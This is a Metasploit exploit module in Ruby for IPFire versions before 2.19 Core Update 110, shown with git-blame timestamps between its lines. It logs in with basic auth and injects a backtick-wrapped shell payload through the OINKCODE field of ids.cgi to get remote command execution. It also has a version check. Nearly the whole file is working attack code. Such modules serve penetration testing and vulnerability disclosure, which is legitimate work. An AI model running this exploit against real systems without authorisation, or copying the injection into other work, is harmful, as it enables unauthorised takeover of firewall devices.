2017-06-14 12:04:17 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
## This module requires Metasploit: https://metasploit.com/download
|
2017-06-14 12:04:17 +00:00
|
|
|
## Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
###
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
|
|
|
'Name' => 'IPFire proxy.cgi RCE',
|
|
|
|
'Description' => %q(
|
|
|
|
IPFire, a free linux based open source firewall distribution,
|
|
|
|
version < 2.19 Update Core 110 contains a remote command execution
|
|
|
|
vulnerability in the ids.cgi page in the OINKCODE field.
|
|
|
|
),
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'h00die <mike@stcyrsecurity.com>', # module
|
|
|
|
'0x09AL' # discovery
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'EDB', '42149' ]
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Privileged' => false,
|
|
|
|
'DefaultOptions' => { 'SSL' => true },
|
|
|
|
'Arch' => [ ARCH_CMD ],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'perl awk openssl'
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic Target', {}]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
2017-06-16 10:48:31 +00:00
|
|
|
'DisclosureDate' => 'Jun 09 2017'
|
2017-06-14 12:04:17 +00:00
|
|
|
)
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
|
|
|
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
|
|
|
|
Opt::RPORT(444)
|
2017-06-16 10:48:31 +00:00
|
|
|
]
|
2017-06-14 12:04:17 +00:00
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
begin
|
2017-06-15 01:15:56 +00:00
|
|
|
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
|
|
|
|
# after a chat with @bcoles in IRC.
|
2017-06-14 12:04:17 +00:00
|
|
|
res = send_request_cgi(
|
2017-06-16 10:48:31 +00:00
|
|
|
'uri' => '/cgi-bin/pakfire.cgi',
|
|
|
|
'method' => 'GET',
|
2017-06-15 01:15:56 +00:00
|
|
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
2017-06-14 12:04:17 +00:00
|
|
|
)
|
|
|
|
|
2017-07-19 18:26:40 +00:00
|
|
|
if res && res.code == 200
|
2017-06-24 18:06:11 +00:00
|
|
|
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
|
|
|
|
end
|
2017-07-19 18:26:40 +00:00
|
|
|
if version.nil? || update.nil? || !Gem::Version.correct?(version)
|
|
|
|
vprint_error('No Recognizable Version Found')
|
|
|
|
CheckCode::Safe
|
|
|
|
elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110
|
2017-06-16 10:48:31 +00:00
|
|
|
CheckCode::Appears
|
2017-06-14 12:04:17 +00:00
|
|
|
else
|
2017-07-19 18:26:40 +00:00
|
|
|
vprint_error('Version and/or Update Not Supported')
|
2017-06-16 10:48:31 +00:00
|
|
|
CheckCode::Safe
|
2017-06-14 12:04:17 +00:00
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
2017-07-19 18:26:40 +00:00
|
|
|
print_error("Connection Failed")
|
2017-06-24 18:06:11 +00:00
|
|
|
CheckCode::Safe
|
2017-06-14 12:04:17 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
begin
|
2017-06-15 01:15:56 +00:00
|
|
|
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
|
|
|
|
# after a chat with @bcoles in IRC.
|
2017-06-24 18:06:11 +00:00
|
|
|
vprint_status('Sending request')
|
2017-06-14 12:04:17 +00:00
|
|
|
res = send_request_cgi(
|
|
|
|
'uri' => '/cgi-bin/ids.cgi',
|
|
|
|
'method' => 'POST',
|
2017-06-15 01:15:56 +00:00
|
|
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
2017-06-14 12:04:17 +00:00
|
|
|
'headers' =>
|
|
|
|
{
|
2017-06-24 18:06:11 +00:00
|
|
|
'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
|
2017-06-14 12:04:17 +00:00
|
|
|
},
|
2017-06-15 01:15:56 +00:00
|
|
|
'vars_post' => {
|
2017-07-19 18:26:40 +00:00
|
|
|
'ENABLE_SNORT_GREEN' => 'on',
|
|
|
|
'ENABLE_SNORT' => 'on',
|
|
|
|
'RULES' => 'registered',
|
|
|
|
'OINKCODE' => "`#{payload.encoded}`",
|
|
|
|
'ACTION' => 'Download new ruleset',
|
|
|
|
'ACTION2' => 'snort'
|
2017-06-16 10:48:31 +00:00
|
|
|
}
|
2017-06-14 12:04:17 +00:00
|
|
|
)
|
|
|
|
|
2017-06-24 18:06:11 +00:00
|
|
|
# success means we hang our session, and wont get back a response, so just check we get a response back
|
2017-07-19 18:26:40 +00:00
|
|
|
if res && res.code != 200
|
2017-06-24 18:06:11 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
|
2017-06-14 12:04:17 +00:00
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|